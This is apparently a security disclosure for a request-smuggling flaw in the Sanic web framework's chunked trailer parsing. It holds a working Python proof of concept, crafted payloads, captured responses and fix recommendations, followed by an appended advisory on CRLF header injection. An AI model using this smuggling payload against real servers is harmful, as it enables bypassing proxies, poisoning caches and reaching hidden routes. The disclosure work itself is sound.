Description

Sanic's HTTP/1.1 chunked-body handling does not fully consume the trailer-part after the terminating 0\r\n chunk. Because of that, attacker-controlled bytes left in the connection buffer after the first chunked request can be interpreted as the start of a new HTTP request on the same keep-alive connection. In the attached verified proof, a single outer POST / request that correctly returns 405 Method Not Allowed is followed, within the same TCP send, by a hidden second request smuggled through the chunked trailer area. Sanic parses and executes that second request as a real independent request.

The issue is a request-boundary integrity failure in Sanic's core HTTP/1.1 parser. The verified impact is not speculative. The attached proof shows that one TCP payload produces two server responses: first the expected 405 for the outer POST /, then a separate 200 OK for a hidden GET /. A second exploit variant changes the hidden request path and receives a real 404 Not Found, proving that the hidden second request is not a hard-coded artifact but an actually routed backend request. A control case with a two-character trailer field name shifts the leftover bytes from GET to :GET, which changes the second response accordingly and confirms that the root cause is incorrect trailer consumption rather than legitimate pipelining.

Steps To Reproduce

1. Start a Sanic HTTP/1.1 service on a keep-alive connection path. In the verified run, the local target listened on 127.0.0.1:9381 and the root route allowed GET / but not POST /. 2. From the package root, run the provided PoC:

bash python3 evidence/vuln001chunkedtrailersmuggle.py | tee evidence/vuln001chunkedtrailersmuggle.run.txt

3. Review the baseline case in evidence/vuln001chunkedtrailersmuggle.run.txt. A normal chunked request with 0\r\n\r\n returns exactly one response block:

text === CASE: baselinenotrailer === Received response blocks: 1 HTTP/1.1 405 Method Not Allowed

4. Review the exploit case that hides GET / in the trailer area:

text === CASE: exploitsmuggledroot ===

The PoC sends a single TCP payload containing:

text POST / HTTP/1.1 Host: 127.0.0.1:9381 Connection: keep-alive Transfer-Encoding: chunked

1 X 0 a:GET / HTTP/1.1 Host: 127.0.0.1:9381

5. Confirm that Sanic returns two response blocks from that one send:

text Received response blocks: 2 HTTP/1.1 405 Method Not Allowed ... HTTP/1.1 200 OK ... {"test":true}

6. Review the second exploit case that changes the smuggled request path to a nonexistent route:

text === CASE: exploitsmuggled404 ===

Confirm that Sanic again returns two response blocks and that the second response is a real routed 404 Not Found for the attacker-controlled hidden path. 7. Review the control case with a two-character trailer field name:

text === CASE: offsetcontroltwocharfieldname ===

Confirm that the second request is now interpreted as :GET /, producing a second 405 with Method :GET not allowed for URL /. This demonstrates that the leftover bytes begin at a parser offset inside the trailer region and are then reinterpreted as a new request line.

Recommendations

After parsing the terminating 0 chunk, Sanic must continue parsing and fully consuming the trailer-part until the final empty line before the connection buffer is reused. If trailer support is not intended, the safer behavior is to reject any request that contains bytes after the terminating 0\r\n other than the expected final empty line, and then close the connection instead of keeping it alive.

Add regression coverage for all three cases shown in the evidence: a normal 0\r\n\r\n chunked termination, a legal trailer that must be fully consumed, and a malicious trailer that must never cause a second backend request to be parsed. The fix needs to guarantee that no bytes from trailer processing can remain in the buffer as a candidate next request.

poc

python #!/usr/bin/env python3 """Proof of concept for HTTP/1.1 chunked trailer request injection."""

from future import annotations

import socket from dataclasses import dataclass from typing import Iterable

TARGET = "sanic-org/sanic" BASEURL = "http://127.0.0.1:9381" HOST = "127.0.0.1" PORT = 9381 TIMEOUT = 1.0 PROXY = None AUTHHEADERS: dict[str, str] = {}

@dataclass class Case: name: str payload: bytes expectedresponses: int expectedmarkers: tuple[bytes, ...]

def buildprefix() -> bytes: return ( b"POST / HTTP/1.1\r\n" + f"Host: {HOST}:{PORT}\r\n".encode() + b"Connection: keep-alive\r\n" + b"Transfer-Encoding: chunked\r\n" + b"\r\n" + b"1\r\n" + b"X\r\n" )

def buildcasepayload(path: str | None = None, fieldname: str = "a") -> bytes: prefix = buildprefix() if path is None: return prefix + b"0\r\n\r\n" return ( prefix + b"0\r\n" + f"{fieldname}:GET {path} HTTP/1.1\r\n".encode() + f"Host: {HOST}:{PORT}\r\n".encode() + b"\r\n" )

def sendpayload(payload: bytes) -> bytes: response = bytearray() with socket.createconnection((HOST, PORT), timeout=3) as sock: sock.sendall(payload) sock.settimeout(TIMEOUT) while True: try: chunk = sock.recv(4096) except TimeoutError: break if not chunk: break response.extend(chunk) return bytes(response)

def counthttpresponses(response: bytes) -> int: return response.count(b"HTTP/1.1 ")

def ensuremarkers(case: Case, response: bytes) -> None: actualcount = counthttpresponses(response) if actualcount != case.expectedresponses: raise SystemExit( f"[FAIL] {case.name}: expected {case.expectedresponses} responses, got {actualcount}" ) for marker in case.expectedmarkers: if marker not in response: raise SystemExit( f"[FAIL] {case.name}: missing marker {marker.decode('latin1', 'replace')}" )

def renderpayload(payload: bytes) -> str: return payload.decode("latin1", "replace")

def renderresponse(response: bytes) -> str: return response.decode("latin1", "replace")

def itercases() -> Iterable[Case]: yield Case( name="baselinenotrailer", payload=buildcasepayload(), expectedresponses=1, expectedmarkers=( b"HTTP/1.1 405 Method Not Allowed", b"Method POST not allowed for URL /", ), ) yield Case( name="exploitsmuggledroot", payload=buildcasepayload("/"), expectedresponses=2, expectedmarkers=( b"HTTP/1.1 405 Method Not Allowed", b"HTTP/1.1 200 OK", b'{"test":true}', ), ) yield Case( name="exploitsmuggled404", payload=buildcasepayload("/this-path-should-not-exist"), expectedresponses=2, expectedmarkers=( b"HTTP/1.1 405 Method Not Allowed", b"HTTP/1.1 404 Not Found", b"Requested URL /this-path-should-not-exist not found", ), ) yield Case( name="offsetcontroltwocharfieldname", payload=buildcasepayload("/", fieldname="ab"), expectedresponses=2, expectedmarkers=( b"HTTP/1.1 405 Method Not Allowed", b"Method :GET not allowed for URL /", ), )

def main() -> None: print(f"Target: {TARGET}") print(f"Base URL: {BASEURL}") print() for case in itercases(): print(f"=== CASE: {case.name} ===") print("Sent payload:") print(renderpayload(case.payload)) response = sendpayload(case.payload) ensuremarkers(case, response) print(f"Received response blocks: {counthttpresponses(response)}") print("Raw response:") print(renderresponse(response)) print("[OK] Case verified") print()

if name == "main": main()

Evidence Files

The attachment package includes the exact PoC and the full runtime output from the verified local execution.

- evidence/vuln001chunkedtrailersmuggle.py: full PoC used for the verified run. - evidence/vuln001chunkedtrailersmuggle.run.txt: runtime output showing the baseline behavior, the successful smuggled GET / execution, the successful smuggled GET /this-path-should-not-exist execution, and the trailer-offset control case.

Observed baseline behavior:

text === CASE: baselinenotrailer === Received response blocks: 1 Raw response: HTTP/1.1 405 Method Not Allowed ... Method POST not allowed for URL /

Observed hidden second request execution:

text === CASE: exploitsmuggledroot === Received response blocks: 2 Raw response: HTTP/1.1 405 Method Not Allowed ... Method POST not allowed for URL /

HTTP/1.1 200 OK ... {"test":true}

Observed hidden attacker-controlled path execution:

text === CASE: exploitsmuggled404 === Received response blocks: 2 Raw response: HTTP/1.1 405 Method Not Allowed ... Method POST not allowed for URL /

HTTP/1.1 404 Not Found ... Requested URL /this-path-should-not-exist not found

Observed trailer-offset control:

text === CASE: offsetcontroltwocharfieldname === Received response blocks: 2 Raw response: HTTP/1.1 405 Method Not Allowed ... Method POST not allowed for URL /

HTTP/1.1 405 Method Not Allowed ... Method :GET not allowed for URL /

Impact

An attacker who can send a chunked HTTP/1.1 request to a Sanic backend can cause the backend to interpret bytes from the trailer region as a second request on the same keep-alive connection. In the verified proof, that second request was fully routed and executed by the backend even though only one outer request was sent by the client.

This breaks the integrity of HTTP request boundaries inside the server. In real deployments that place Sanic behind reverse proxies, gateways, caches, or other intermediaries, a backend parser mismatch of this kind can become a request smuggling primitive with broader security consequences than the local proof route demonstrates.

Sanic is an opensource python web server/framework. Prior to version 24.12.1, and in version 25.12.0, the HTTP/1.1 response pipeline in sanic/response/types.py serializes response header names and values without rejecting carriage-return or line-feed characters. Applications that place attacker-controlled data in response.headers, file(..., filename=...), or cookie path and domain attributes can therefore emit injected headers and may split responses. Depending on application and proxy behavior, this can enable session fixation through injected cookies, cache poisoning, or security-header corruption. This issue is fixed in versions 24.12.1 and 25.12.1.